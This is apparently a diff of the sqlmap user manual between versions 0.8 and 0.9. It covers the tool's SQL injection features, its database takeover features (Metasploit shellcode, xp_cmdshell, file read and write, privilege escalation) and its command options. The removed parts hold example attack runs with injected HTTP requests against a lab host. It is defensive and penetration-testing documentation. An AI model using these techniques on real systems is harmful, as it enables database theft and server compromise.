Demo
You can watch several demo videos, they are hosted on .
+
+Features
+
+
+TODO: Features implemented in sqlmap include:
+
+
+Generic features
+
+
+
+- Full support for MySQL, Oracle, PostgreSQL,
+Microsoft SQL Server, Microsoft Access, SQLite,
+Firebird, Sybase and SAP MaxDB database
+management systems.
+
+
- Full support for five SQL injection techniques: boolean-based
+blind, time-based blind, error-based,
+UNION query and stacked queries.
+
+
- It is possible to provide a single target URL, get the list of
+targets from
+requests log file or
+ conversations/ folder, get the whole HTTP
+request from a text file or get the list of targets by providing sqlmap
+with a Google dork which queries search engine and parses its results page. You can also
+define a regular-expression based scope that is used to identify which of
+the parsed addresses to test.
+
+
- Tests provided GET parameters, POST parameters,
+HTTP Cookie header values, HTTP User-Agent header value
+and HTTP Referer header value to find the dynamic ones, which means
+those that vary the HTTP response page content.
+On the dynamic ones sqlmap automatically tests and detects the ones
+affected by SQL injection. Each dynamic parameter is tested for
+numeric, single quoted string, double quoted
+string and all of these three data-types with zero to two parenthesis
+to correctly detect which is the SELECT statement syntax to
+perform further injections with. It is also possible to specify the only
+parameter(s) that you want to perform tests and use for injection on.
+
+
- Option to specify the maximum number of concurrent HTTP
+requests to speed up the inferential blind SQL injection algorithms
+(multi-threading). It is also possible to specify the number of seconds to
+wait between each HTTP request.
+
+
- HTTP Cookie header string support, useful when the
+web application requires authentication based upon cookies and you have
+such data or in case you just want to test for and exploit SQL injection
+on such header. You can also specify to always URL-encode the Cookie
+header.
+
+
- Automatically handle HTTP Set-Cookie header from
+the application, re-establishing of the session if it expires. Test and
+exploit on these values is supported too. You can also force to ignore any
+Set-Cookie header.
+
+
- HTTP Basic, Digest, NTLM and Certificate authentications
+support.
+
+
- Anonymous HTTP proxy support to pass by the requests to the
+target application that works also with HTTPS requests.
+
+
- Options to fake the HTTP Referer header value and
+the HTTP User-Agent header value specified by user or
+randomly selected from a text file.
+
+
- Support to increase the verbosity level of output messages:
+there exist six levels. The default level is 1 in which
+information, warnings, errors and tracebacks (if any occur) will be shown.
+
+
- Granularity in the user's options.
+
+
- Estimated time of arrival support for each query, updated
+in real time while fetching the information to give to the user an
+overview on how long it will take to retrieve the output.
+
+
- Automatic support to save the session (queries and their output,
+even if partially retrieved) in real time while fetching the data on a
+text file and resume the injection from this file in a second
+time.
+
+
- Support to read options from a configuration INI file rather than
+specify each time all of the options on the command line. Support also to
+save command line options on a configuration INI file.
+
+
- Option to update sqlmap as a whole to the latest development version
+from the Subversion repository.
+
+
- Integration with other IT security open source projects,
+ and .
+
+
+
+Fingerprint and enumeration features
+
+
+
+- Extensive back-end database software version and underlying
+operating system fingerprint based upon
+,
+,
+ and
+
+such as MySQL comment injection. It is also possible to force the back-end
+database management system name if you already know it.
+
+
- Basic web server software and web application technology fingerprint.
+
+
- Support to retrieve the DBMS banner, session user
+and current database information. The tool can also check if the
+session user is a database administrator (DBA).
+
+
- Support to enumerate database users, users' password
+hashes, users' privileges, databases,
+tables and columns.
+
+
- Support to dump database tables as a whole or a range of
+entries as per user's choice. The user can also choose to dump only
+specific column(s).
+
+
- Support to automatically dump all databases' schemas and
+entries. It is possibly to exclude from the dump the system databases.
+
+
- Support to enumerate and dump all databases' tables containing user
+provided column(s). Useful to identify for instance tables containing
+custom application credentials.
+
+
- Support to run custom SQL statement(s) as in an interactive
+SQL client connecting to the back-end database. sqlmap automatically
+dissects the provided statement, determines which technique to use to
+inject it and how to pack the SQL payload accordingly.
+
+
+
+Takeover features
+
+
+Some of these techniques are detailed in the white paper
+ and in the
+slide deck .
+
+
+- Support to inject custom user-defined functions: the user
+can compile shared object then use sqlmap to create within the back-end
+DBMS user-defined functions out of the compiled shared object file. These
+UDFs can then be executed, and optionally removed, via sqlmap too.
+
+
- Support to read and upload any file from the database
+server underlying file system when the database software is MySQL,
+PostgreSQL or Microsoft SQL Server.
+
+
- Support to execute arbitrary commands and retrieve their
+standard output on the database server underlying operating system
+when the database software is MySQL, PostgreSQL or Microsoft SQL Server.
+
+
- On MySQL and PostgreSQL via user-defined function injection and
+execution.
+
- On Microsoft SQL Server via xp_cmdshell() stored procedure.
+Also, the stored procedure is re-enabled if disabled or created from
+scratch if removed.
+
+
+- Support to establish an out-of-band stateful TCP connection
+between the user machine and the database server underlying operating
+system. This channel can be an interactive command prompt, a Meterpreter
+session or a graphical user interface (VNC) session as per user's choice.
+sqlmap relies on Metasploit to create the shellcode and implements four
+different techniques to execute it on the database server. These
+techniques are:
+
+
- Database in-memory execution of the Metasploit's shellcode
+via sqlmap own user-defined function sys_bineval(). Supported on
+MySQL and PostgreSQL.
+
- Upload and execution of a Metasploit's stand-alone payload
+stager via sqlmap own user-defined function sys_exec() on
+MySQL and PostgreSQL or via xp_cmdshell() on Microsoft SQL
+Server.
+
- Execution of Metasploit's shellcode by performing a SMB
+reflection attack () with a UNC path request from the database server to
+the user's machine where the Metasploit smb_relay server exploit
+runs.
+
- Database in-memory execution of the Metasploit's shellcode by
+exploiting Microsoft SQL Server 2000 and 2005
+sp_replwritetovarbin stored procedure heap-based buffer
+overflow () with automatic DEP bypass.
+
+
+- Support for database process' user privilege escalation via
+Metasploit's getsystem command which include, among others,
+the technique () or via by using Meterpreter's
+incognito extension.
+
+
- Support to access (read/add/delete) Windows registry hives.
+
+
+
History
2011
@@ -465,250 +687,23 @@ limited support for MySQL added.
-Features
-
-
-Features implemented in sqlmap include:
-
-
-Generic features
-
-
-
-- Full support for MySQL, Oracle, PostgreSQL
-and Microsoft SQL Server back-end database management systems.
-Besides these four database management systems software, sqlmap can also
-identify Microsoft Access, DB2, Informix, Sybase and Interbase.
-
-
- Full support for three SQL injection techniques: inferential
-blind SQL injection, UNION query (inband) SQL injection and
-batched queries support. sqlmap can also test for time based
-blind SQL injection.
-
-
- It is possible to provide a single target URL, get the list of
-targets from
-requests log file or
- conversations/ folder, get the whole HTTP
-request from a text file or get the list of targets by providing sqlmap
-with a Google dork which queries search engine and parses its results page. You can also
-define a regular-expression based scope that is used to identify which of
-the parsed addresses to test.
-
-
- Automatically tests all provided GET parameters,
-POST parameters, HTTP Cookie header values and HTTP
-User-Agent header value to find the dynamic ones, which means
-those that vary the HTTP response page content.
-On the dynamic ones sqlmap automatically tests and detects the ones
-affected by SQL injection. Each dynamic parameter is tested for
-numeric, single quoted string, double quoted
-string and all of these three data-types with zero to two parenthesis
-to correctly detect which is the SELECT statement syntax to
-perform further injections with. It is also possible to specify the only
-parameter(s) that you want to perform tests and use for injection on.
-
-
- Option to specify the maximum number of concurrent HTTP
-requests to speed up the inferential blind SQL injection algorithms
-(multi-threading). It is also possible to specify the number of seconds to
-wait between each HTTP request.
-
-
- HTTP Cookie header string support, useful when the
-web application requires authentication based upon cookies and you have
-such data or in case you just want to test for and exploit SQL injection
-on such header. You can also specify to always URL-encode the Cookie
-header.
-
-
- Automatically handle HTTP Set-Cookie header from
-the application, re-establishing of the session if it expires. Test and
-exploit on these values is supported too. You can also force to ignore any
-Set-Cookie header.
-
-
- HTTP Basic, Digest, NTLM and Certificate authentications
-support.
-
-
- Anonymous HTTP proxy support to pass by the requests to the
-target application that works also with HTTPS requests.
-
-
- Options to fake the HTTP Referer header value and
-the HTTP User-Agent header value specified by user or
-randomly selected from a text file.
-
-
- Support to increase the verbosity level of output messages:
-there exist six levels. The default level is 1 in which
-information, warnings, errors and tracebacks (if any occur) will be shown.
-
-
- Granularity in the user's options.
-
-
- Estimated time of arrival support for each query, updated
-in real time while fetching the information to give to the user an
-overview on how long it will take to retrieve the output.
-
-
- Automatic support to save the session (queries and their output,
-even if partially retrieved) in real time while fetching the data on a
-text file and resume the injection from this file in a second
-time.
-
-
- Support to read options from a configuration INI file rather than
-specify each time all of the options on the command line. Support also to
-save command line options on a configuration INI file.
-
-
- Option to update sqlmap as a whole to the latest development version
-from the Subversion repository.
-
-
- Integration with other IT security open source projects,
- and .
-
-
-
-Fingerprint and enumeration features
-
-
-
-- Extensive back-end database software version and underlying
-operating system fingerprint based upon
-,
-,
- and
-
-such as MySQL comment injection. It is also possible to force the back-end
-database management system name if you already know it.
-
-
- Basic web server software and web application technology fingerprint.
-
-
- Support to retrieve the DBMS banner, session user
-and current database information. The tool can also check if the
-session user is a database administrator (DBA).
-
-
- Support to enumerate database users, users' password
-hashes, users' privileges, databases,
-tables and columns.
-
-
- Support to dump database tables as a whole or a range of
-entries as per user's choice. The user can also choose to dump only
-specific column(s).
-
-
- Support to automatically dump all databases' schemas and
-entries. It is possibly to exclude from the dump the system databases.
-
-
- Support to enumerate and dump all databases' tables containing user
-provided column(s). Useful to identify for instance tables containing
-custom application credentials.
-
-
- Support to run custom SQL statement(s) as in an interactive
-SQL client connecting to the back-end database. sqlmap automatically
-dissects the provided statement, determines which technique to use to
-inject it and how to pack the SQL payload accordingly.
-
-
-
-Takeover features
-
-
-Some of these techniques are detailed in the white paper
- and in the
-slide deck .
-
-
-- Support to inject custom user-defined functions: the user
-can compile shared object then use sqlmap to create within the back-end
-DBMS user-defined functions out of the compiled shared object file. These
-UDFs can then be executed, and optionally removed, via sqlmap too.
-
-
- Support to read and upload any file from the database
-server underlying file system when the database software is MySQL,
-PostgreSQL or Microsoft SQL Server.
-
-
- Support to execute arbitrary commands and retrieve their
-standard output on the database server underlying operating system
-when the database software is MySQL, PostgreSQL or Microsoft SQL Server.
-
-
- On MySQL and PostgreSQL via user-defined function injection and
-execution.
-
- On Microsoft SQL Server via xp_cmdshell() stored procedure.
-Also, the stored procedure is re-enabled if disabled or created from
-scratch if removed.
-
-
-- Support to establish an out-of-band stateful TCP connection
-between the user machine and the database server underlying operating
-system. This channel can be an interactive command prompt, a Meterpreter
-session or a graphical user interface (VNC) session as per user's choice.
-sqlmap relies on Metasploit to create the shellcode and implements four
-different techniques to execute it on the database server. These
-techniques are:
-
-
- Database in-memory execution of the Metasploit's shellcode
-via sqlmap own user-defined function sys_bineval(). Supported on
-MySQL and PostgreSQL.
-
- Upload and execution of a Metasploit's stand-alone payload
-stager via sqlmap own user-defined function sys_exec() on
-MySQL and PostgreSQL or via xp_cmdshell() on Microsoft SQL
-Server.
-
- Execution of Metasploit's shellcode by performing a SMB
-reflection attack () with a UNC path request from the database server to
-the user's machine where the Metasploit smb_relay server exploit
-runs.
-
- Database in-memory execution of the Metasploit's shellcode by
-exploiting Microsoft SQL Server 2000 and 2005
-sp_replwritetovarbin stored procedure heap-based buffer
-overflow () with automatic DEP bypass.
-
-
-- Support for database process' user privilege escalation via
-Metasploit's getsystem command which include, among others,
-the technique () or via by using Meterpreter's
-incognito extension.
-
-
- Support to access (read/add/delete) Windows registry hives.
-
-
-
Download and update
sqlmap can be downloaded from its
.
-It is available in various formats:
+It is available in two formats:
-- operating system independent.
+
- .
-
- operating system independent.
-
-
- operating system independent.
-
-
- architecture independent for Debian and any
-other Debian derivated GNU/Linux distribution.
-
-
- architecture independent for Fedora and any
-other operating system that can install RPM packages.
-
-
- that does not require the Python
-interpreter to be installed on the operating system.
+
- .
-You can also checkout the latest development version from the sqlmap
+You can also checkout the latest development version from the
repository:
@@ -717,9 +712,7 @@ $ svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
-If you download a source package (gzip, bzip2 or zip) or sqlmap from the
-Subversion repository, you can update it to the latest development version
-anytime by running:
+You can update it to the latest development version anytime by running:
$ python sqlmap.py --update
@@ -732,29 +725,8 @@ $ svn update
-Viceversa if you download a binary package (deb, rpm or exe), the
-update feature is disabled.
-
-
-There are some differences between the packages:
-
-
-- The source packages (gzip, bzip2 and zip) have all features. They
-contains the working copy from the Subversion repository updated at the
-time the sqlmap new version has been released.
-
- The Debian and Red Hat installation packages (deb and rpm) are
-compliant with the Linux distributions' packaging guidelines. This implies
-that they do not support the update features and do not include UPX (used
-to pack the Metasploit payload stager in some cases, see below).
-
- The Windows binary package (exe) can't update itself and does not
-support the takeover out-of-band features because they rely on
-Metasploit's msfcli which is not available for Windows.
-
-
-
-It is therefore recommended to download any of the source packages and run
-it either from a shell like Bash on Unix and Mac OSX or from Cygwin on
-Windows.
+This is strongly recommended before reporting any bug to the
+.
License and copyright
@@ -762,8 +734,7 @@ Windows.
sqlmap is released under the terms of the
.
-sqlmap is copyrighted by
-.
+sqlmap is copyrighted by its .
Usage
@@ -772,20 +743,21 @@ sqlmap is copyrighted by
$ python sqlmap.py -h
- sqlmap/0.8 - automatic SQL injection and database takeover tool
+ sqlmap/0.9 - automatic SQL injection and database takeover tool
http://sqlmap.sourceforge.net
-
+
Usage: sqlmap.py [options]
Options:
--version show program's version number and exit
-h, --help show this help message and exit
- -v VERBOSE Verbosity level: 0-5 (default 1)
+ -v VERBOSE Verbosity level: 0-6 (default 1)
Target:
At least one of these options has to be specified to set the source to
get target urls from.
+ -d DIRECT Direct connection to the database
-u URL, --url=URL Target url
-l LIST Parse targets from Burp or WebScarab proxy logs
-r REQUESTFILE Load HTTP request from a file
@@ -795,53 +767,66 @@ Options:
Request:
These options can be used to specify how to connect to the target url.
- --method=METHOD HTTP method, GET or POST (default GET)
--data=DATA Data string to be sent through POST
--cookie=COOKIE HTTP Cookie header
--cookie-urlencode URL Encode generated cookie injections
--drop-set-cookie Ignore Set-Cookie header from response
--user-agent=AGENT HTTP User-Agent header
- -a USERAGENTSFILE Load a random HTTP User-Agent header from file
+ --random-agent Use randomly selected HTTP User-Agent header
--referer=REFERER HTTP Referer header
--headers=HEADERS Extra HTTP headers newline separated
--auth-type=ATYPE HTTP authentication type (Basic, Digest or NTLM)
--auth-cred=ACRED HTTP authentication credentials (name:password)
--auth-cert=ACERT HTTP authentication certificate (key_file,cert_file)
--proxy=PROXY Use a HTTP proxy to connect to the target url
+ --proxy-cred=PCRED HTTP proxy authentication credentials (name:password)
--ignore-proxy Ignore system default HTTP proxy
- --threads=THREADS Maximum number of concurrent HTTP requests (default 1)
--delay=DELAY Delay in seconds between each HTTP request
--timeout=TIMEOUT Seconds to wait before timeout connection (default 30)
--retries=RETRIES Retries when the connection timeouts (default 3)
--scope=SCOPE Regexp to filter targets from provided proxy log
+ --safe-url=SAFURL Url address to visit frequently during testing
+ --safe-freq=SAFREQ Test requests between two visits to a given safe url
+
+ Optimization:
+ These options can be used to optimize the performance of sqlmap.
+
+ -o Turn on all optimization switches
+ --predict-output Predict common queries output
+ --keep-alive Use persistent HTTP(s) connections
+ --null-connection Retrieve page length without actual HTTP response body
+ --threads=THREADS Max number of concurrent HTTP(s) requests (default 1)
+ --group-concat Use GROUP_CONCAT MySQL technique in dumping phase
Injection:
These options can be used to specify which parameters to test for,
- provide custom injection payloads and how to parse and compare HTTP
- responses page content when using the blind SQL injection technique.
+ provide custom injection payloads and optional tampering scripts.
-p TESTPARAMETER Testable parameter(s)
--dbms=DBMS Force back-end DBMS to this value
--os=OS Force back-end DBMS operating system to this value
--prefix=PREFIX Injection payload prefix string
- --postfix=POSTFIX Injection payload postfix string
+ --suffix=SUFFIX Injection payload suffix string
+ --tamper=TAMPER Use given script(s) for tampering injection data
+
+ Detection:
+ These options can be used to specify how to parse and compare page
+ content from HTTP responses when using blind SQL injection technique.
+
+ --level=LEVEL Level of tests to perform (1-5, default 1)
+ --risk=RISK Risk of tests to perform (0-3, default 1)
--string=STRING String to match in page when the query is valid
--regexp=REGEXP Regexp to match in page when the query is valid
- --excl-str=ESTRING String to be excluded before comparing page contents
- --excl-reg=EREGEXP Matches to be excluded before comparing page contents
+ --text-only Compare pages based only on their textual content
Techniques:
These options can be used to test for specific SQL injection technique
or to use one of them to exploit the affected parameter(s) rather than
using the default blind SQL injection technique.
- --stacked-test Test for stacked queries (multiple statements) support
- --time-test Test for time based blind SQL injection
--time-sec=TIMESEC Seconds to delay the DBMS response (default 5)
- --union-test Test for UNION query (inband) SQL injection
- --union-tech=UTECH Technique to test for UNION query SQL injection
- --union-use Use the UNION query (inband) SQL injection to retrieve
- the queries output. No need to go blind
+ --union-cols=UCOLS Range of columns to test for UNION query SQL injection
+ --union-char=UCHAR Character to use to bruteforce number of columns
Fingerprint:
-f, --fingerprint Perform an extensive DBMS version fingerprint
@@ -858,15 +843,17 @@ Options:
--users Enumerate DBMS users
--passwords Enumerate DBMS users password hashes
--privileges Enumerate DBMS users privileges
+ --roles Enumerate DBMS users roles
--dbs Enumerate DBMS databases
--tables Enumerate DBMS database tables
--columns Enumerate DBMS database table columns
--dump Dump DBMS database table entries
--dump-all Dump all DBMS databases tables entries
- -D DB - database to enumerate
- -T TBL
- database table to enumerate
- -C COL
- database table column to enumerate
- -U USER
- user to enumerate
+ --search Search column(s), table(s) and/or database name(s)
+ -D DB DBMS database to enumerate
+ -T TBL DBMS database table to enumerate
+ -C COL DBMS database table column to enumerate
+ -U USER DBMS user to enumerate
--exclude-sysdbs Exclude DBMS system databases when enumerating tables
--start=LIMITSTART First query output entry to retrieve
--stop=LIMITSTOP Last query output entry to retrieve
@@ -875,6 +862,12 @@ Options:
--sql-query=QUERY SQL statement to be executed
--sql-shell Prompt for an interactive SQL shell
+ Brute force:
+ These options can be used to run brute force checks.
+
+ --common-tables Check existence of common tables
+ --common-columns Check existence of common columns
+
User-defined function injection:
These options can be used to create custom user-defined functions.
@@ -885,9 +878,9 @@ Options:
These options can be used to access the back-end database management
system underlying file system.
- --read-file=RFILE Read a file from the back-end DBMS file system
- --write-file=WFILE Write a local file on the back-end DBMS file system
- --dest-file=DFILE Back-end DBMS absolute filepath to write to
+ --file-read=RFILE Read a file from the back-end DBMS file system
+ --file-write=WFILE Write a local file on the back-end DBMS file system
+ --file-dest=DFILE Back-end DBMS absolute filepath to write to
Operating system access:
These options can be used to access the back-end database management
@@ -914,312 +907,88 @@ Options:
--reg-data=REGDATA Windows registry key value data
--reg-type=REGTYPE Windows registry key value type
- Miscellaneous:
+ General:
+ These options can be used to set some general working parameters.
+
+ -x XMLFILE Dump the data into an XML file
-s SESSIONFILE Save and resume all data retrieved on a session file
+ -t TRAFFICFILE Log all HTTP traffic into a textual file
--flush-session Flush session file for current target
--eta Display for each output the estimated time of arrival
- --gpage=GOOGLEPAGE Use google dork results from specified page number
--update Update sqlmap
--save Save options on a configuration INI file
--batch Never ask for user input, use the default behaviour
+
+ Miscellaneous:
+ --beep Alert when sql injection found
+ --check-payload IDS detection testing of injection payload
--cleanup Clean up the DBMS by sqlmap specific UDF and tables
+ --forms Parse and test forms on target url
+ --gpage=GOOGLEPAGE Use google dork results from specified page number
+ --parse-errors Parse DBMS error messages from response pages
+ --replicate Replicate dumped data into a sqlite3 database
Output verbosity
-Option: -v
+Switch: -v
-Verbose options can be used to set the verbosity level of output messages.
-There exist six levels.
-The default level is 1 in which
-information, warnings, errors and tracebacks (if any occur) will be shown.
-Level 2 shows also debug messages, level 3 shows also
-full HTTP requests, level 4 shows also HTTP responses headers and
-level 5 shows also HTTP responses page content.
+This switch can be used to set the verbosity level of output messages.
+There exist seven levels of verbosity.
+The default level is 1 in which information, warnings, errors, critical messages and Python tracebacks (if any occur) will be displayed.
+
+
+- 0: Show only critical messages
+
- 1: Show also warning and information messages
+
- 2: Show also debug messages
+
- 3: Show also payloads injected
+
- 4: Show also HTTP requests
+
- 5: Show also HTTP responses' headers
+
- 6: Show also HTTP responses' page content
+
-Example on a MySQL 5.0.67 target (verbosity level 1):
-
-
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" -v 1
-
-[hh:mm:58] [INFO] using '/home/inquis/sqlmap/output/192.168.136.131/session' as session file
-[hh:mm:58] [INFO] testing connection to the target url
-[hh:mm:58] [INFO] testing if the url is stable, wait a few seconds
-[hh:mm:59] [INFO] url is stable
-[hh:mm:59] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
-[hh:mm:59] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
-[hh:mm:59] [INFO] testing if GET parameter 'id' is dynamic
-[hh:mm:59] [INFO] confirming that GET parameter 'id' is dynamic
-[hh:mm:59] [INFO] GET parameter 'id' is dynamic
-[hh:mm:59] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis
-[hh:mm:59] [INFO] testing unescaped numeric injection on GET parameter 'id'
-[hh:mm:59] [INFO] confirming unescaped numeric injection on GET parameter 'id'
-[hh:mm:59] [INFO] GET parameter 'id' is unescaped numeric injectable with 0 parenthesis
-[hh:mm:59] [INFO] testing for parenthesis on injectable parameter
-[hh:mm:59] [INFO] the injectable parameter requires 0 parenthesis
-[hh:mm:59] [INFO] testing MySQL
-[hh:mm:59] [INFO] confirming MySQL
-[hh:mm:59] [INFO] retrieved: 0
-[hh:mm:59] [INFO] the back-end DBMS is MySQL
-
-web application technology: PHP 5.2.6, Apache 2.2.9
-back-end DBMS: MySQL >= 5.0.0
-
-
-
-Example on a MySQL 5.0.67 target (verbosity level 2):
-
-
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" -v 2
-
-[hh:mm:22] [DEBUG] initializing the configuration
-[hh:mm:22] [DEBUG] initializing the knowledge base
-[hh:mm:22] [DEBUG] cleaning up configuration parameters
-[hh:mm:22] [DEBUG] setting the HTTP timeout
-[hh:mm:22] [DEBUG] setting the HTTP method to GET
-[hh:mm:22] [DEBUG] creating HTTP requests opener object
-[hh:mm:22] [DEBUG] parsing XML queries file
-[hh:mm:22] [INFO] using '/home/inquis/sqlmap/output/192.168.136.131/session' as session file
-[hh:mm:22] [INFO] testing connection to the target url
-[hh:mm:22] [INFO] testing if the url is stable, wait a few seconds
-[hh:mm:23] [INFO] url is stable
-[hh:mm:23] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
-[hh:mm:23] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
-[hh:mm:23] [INFO] testing if GET parameter 'id' is dynamic
-[hh:mm:23] [DEBUG] setting match ratio to 0.743
-[hh:mm:23] [INFO] confirming that GET parameter 'id' is dynamic
-[hh:mm:23] [INFO] GET parameter 'id' is dynamic
-[hh:mm:23] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis
-[hh:mm:23] [INFO] testing unescaped numeric injection on GET parameter 'id'
-[hh:mm:23] [INFO] confirming unescaped numeric injection on GET parameter 'id'
-[hh:mm:23] [INFO] GET parameter 'id' is unescaped numeric injectable with 0 parenthesis
-[hh:mm:23] [INFO] testing for parenthesis on injectable parameter
-[hh:mm:23] [INFO] the injectable parameter requires 0 parenthesis
-[hh:mm:23] [INFO] testing MySQL
-[hh:mm:23] [INFO] confirming MySQL
-[hh:mm:23] [DEBUG] query: SELECT 2 FROM information_schema.TABLES LIMIT 0, 1
-[hh:mm:23] [INFO] retrieved: 2
-[hh:mm:23] [DEBUG] performed 7 queries in 0 seconds
-[hh:mm:23] [INFO] the back-end DBMS is MySQL
-
-web application technology: PHP 5.2.6, Apache 2.2.9
-back-end DBMS: MySQL >= 5.0.0
-
-
-
-Example on a MySQL 5.0.67 target (verbosity level 3):
-
-
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" -v 3
-
-[hh:mm:53] [DEBUG] initializing the configuration
-[hh:mm:53] [DEBUG] initializing the knowledge base
-[hh:mm:53] [DEBUG] cleaning up configuration parameters
-[hh:mm:53] [DEBUG] setting the HTTP timeout
-[hh:mm:53] [DEBUG] setting the HTTP method to GET
-[hh:mm:53] [DEBUG] creating HTTP requests opener object
-[hh:mm:53] [DEBUG] parsing XML queries file
-[hh:mm:53] [INFO] using '/home/inquis/sqlmap/output/192.168.136.131/session' as session file
-[hh:mm:53] [INFO] testing connection to the target url
-[hh:mm:53] [TRAFFIC OUT] HTTP request:
-GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
-Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
-Host: 192.168.136.131
-Accept-language: en-us,en;q=0.5
-Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
-User-agent: sqlmap/0.8
-Connection: close
-[...]
-[hh:mm:54] [INFO] testing MySQL
-[hh:mm:54] [TRAFFIC OUT] HTTP request:
-GET /sqlmap/mysql/get_int.php?id=1%20AND%20CONNECTION_ID%28%29=CONNECTION_ID%28%29%20AND%202385=2385 HTTP/1.1
-Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
-Host: 192.168.136.131
-Accept-language: en-us,en;q=0.5
-Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
-User-agent: sqlmap/0.8
-Connection: close
-[...]
-
-
-
-Example on a MySQL 5.0.67 target (verbosity level 4):
-
-
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" -v 4
-
-[...]
-[hh:mm:20] [DEBUG] initializing the configuration
-[hh:mm:20] [DEBUG] initializing the knowledge base
-[hh:mm:20] [DEBUG] cleaning up configuration parameters
-[hh:mm:20] [DEBUG] setting the HTTP timeout
-[hh:mm:20] [DEBUG] setting the HTTP method to GET
-[hh:mm:20] [DEBUG] creating HTTP requests opener object
-[hh:mm:20] [DEBUG] parsing XML queries file
-[hh:mm:20] [INFO] using '/home/inquis/sqlmap/output/192.168.136.131/session' as session file
-[hh:mm:20] [INFO] testing connection to the target url
-[hh:mm:20] [TRAFFIC OUT] HTTP request:
-GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
-Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
-Host: 192.168.136.131
-Accept-language: en-us,en;q=0.5
-Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
-User-agent: sqlmap/0.8
-Connection: close
-
-[hh:mm:20] [TRAFFIC IN] HTTP response (OK - 200):
-Date: Sat, 20 Feb 2010 17:43:00 GMT
-Server: Apache/2.2.9
-X-Powered-By: PHP/5.2.6-1+lenny4
-Vary: Accept-Encoding
-Content-Length: 127
-Connection: close
-Content-Type: text/html
-[...]
-
-
-
-Example on a MySQL 5.0.67 target (verbosity level 5):
-
-
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" -v 5
-
-[hh:mm:47] [DEBUG] initializing the configuration
-[hh:mm:47] [DEBUG] initializing the knowledge base
-[hh:mm:47] [DEBUG] cleaning up configuration parameters
-[hh:mm:47] [DEBUG] setting the HTTP timeout
-[hh:mm:47] [DEBUG] setting the HTTP method to GET
-[hh:mm:47] [DEBUG] creating HTTP requests opener object
-[hh:mm:47] [DEBUG] parsing XML queries file
-[hh:mm:47] [INFO] using '/home/inquis/sqlmap/output/192.168.136.131/session' as session file
-[hh:mm:47] [INFO] testing connection to the target url
-[hh:mm:47] [TRAFFIC OUT] HTTP request:
-GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
-Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
-Host: 192.168.136.131
-Accept-language: en-us,en;q=0.5
-Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
-User-agent: sqlmap/0.8
-Connection: close
-
-[hh:mm:47] [TRAFFIC IN] HTTP response (OK - 200):
-Date: Sat, 20 Feb 2010 17:44:27 GMT
-Server: Apache/2.2.9
-X-Powered-By: PHP/5.2.6-1+lenny4
-Vary: Accept-Encoding
-Connection: close
-Transfer-Encoding: chunked
-Content-Type: text/html
-
-<html><body>
-<b>SQL results:</b>
-<table border="1">
-<tr><td>1</td><td>luther</td><td>blissett</td></tr>
-</table>
-</body></html>
-[...]
-
+A reasonable level of verbosity to further understand what sqlmap is doing under the hood is level 2, primarily for the detection phase and the take-over functionalities. Whereas if you want to make sure you know which SQL payloads the tools sends, level 3 is your best choice. In order to further debug potential bugs or unexpected behaviours, we recommend you to set the verbosity to level 4 or above. This level is recommended to be used when you feed the developers with a bug report too.
Target
At least one of these options has to be specified to set the source to get
-target addresses from.
+target URLs from.
Target URL
-Option: -u or --url
+Switch: -u or --url
-To run sqlmap against a single target URL.
-
-
-Example on a MySQL 5.0.67 target:
-
-
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1"
-
-[...]
-web application technology: PHP 5.2.6, Apache 2.2.9
-back-end DBMS: MySQL 5
-
-
+Run sqlmap against a single target URL.
Parse targets from Burp or WebScarab proxy logs
-Option: -l
+Switch: -l
Rather than providing a single target URL, it is possible to test and
-inject on HTTP requests proxied through
-or .
-
-
-Example passing to sqlmap a WebScarab proxy conversations/ folder:
-
-
-$ python sqlmap.py -l /tmp/webscarab.log/conversations/
-
-[hh:mm:43] [INFO] sqlmap parsed 27 testable requests from the targets list
-[hh:mm:43] [INFO] sqlmap got a total of 27 targets
-[hh:mm:43] [INPUT] url 1:
-GET http://192.168.136.131/phpmyadmin/navigation.php?db=test&token=60747016432606019619a
-c58b3780562
-Cookie: PPA_ID=197bf44d671aeb7d3a28719a467d86c3; phpMyAdmin=366c9c9b329a98eabb4b708c2df8b
-d7d392eb151; pmaCookieVer=4; pmaPass-1=uH9%2Fz5%2FsB%2FM%3D; pmaUser-1=pInZx5iWPrA%3D;
-pma_charset=iso-8859-1; pma_collation_connection=utf8_unicode_ci; pma_fontsize=deleted;
-pma_lang=en-utf-8; pma_mcrypt_iv=o6Mwtqw6c0c%3D; pma_theme=deleted
-do you want to test this url? [Y/n/q] n
-[hh:mm:46] [INPUT] url 2:
-GET http://192.168.136.131/sqlmap/mysql/get_int.php?id=1
-Cookie: PPA_ID=197bf44d671aeb7d3a28719a467d86c3
-do you want to test this url? [Y/n/q] y
-[hh:mm:49] [INFO] testing url http://192.168.136.131/sqlmap/mysql/get_int.php?id=1
-[hh:mm:49] [INFO] testing connection to the target url
-[hh:mm:49] [INFO] testing if the url is stable, wait a few seconds
-[hh:mm:50] [INFO] url is stable
